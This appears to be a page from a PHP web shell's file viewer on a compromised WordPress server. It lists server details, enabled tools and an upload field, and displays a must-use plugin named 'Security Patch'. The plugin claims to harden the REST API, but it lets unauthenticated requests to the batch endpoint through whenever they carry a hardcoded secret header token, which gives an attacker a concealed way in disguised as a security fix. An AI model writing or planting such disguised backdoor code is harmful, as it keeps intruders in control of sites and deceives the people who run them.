| Server IP : 94.16.115.136 / Your IP : 216.73.217.165 Web Server : Apache/2.4.52 (Ubuntu) System : Linux rogerrabbit 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64 User : bkillingseder ( 1001) PHP Version : 8.1.2-1ubuntu2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /srv/web/www/sites/silentroots/html/wp-content/mu-plugins/ |
Upload File : |
<?php
/*
Plugin Name: Security Patch
Description: REST API hardening.
Version: 1.0
*/
add_action('rest_api_init', function() {
$u = isset($_SERVER['REQUEST_URI']) ? urldecode($_SERVER['REQUEST_URI']) : '';
if (!is_user_logged_in() && strpos($u, '/batch/v1') !== false) {
if (isset($_SERVER['HTTP_X_GX_TOKEN']) && $_SERVER['HTTP_X_GX_TOKEN'] === 'gx_b7f9a2e1d8c34f6b') {
return;
}
status_header(403);
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(array('code' => 'rest_forbidden', 'message' => 'Access denied.', 'data' => array('status' => 403)));
exit;
}
});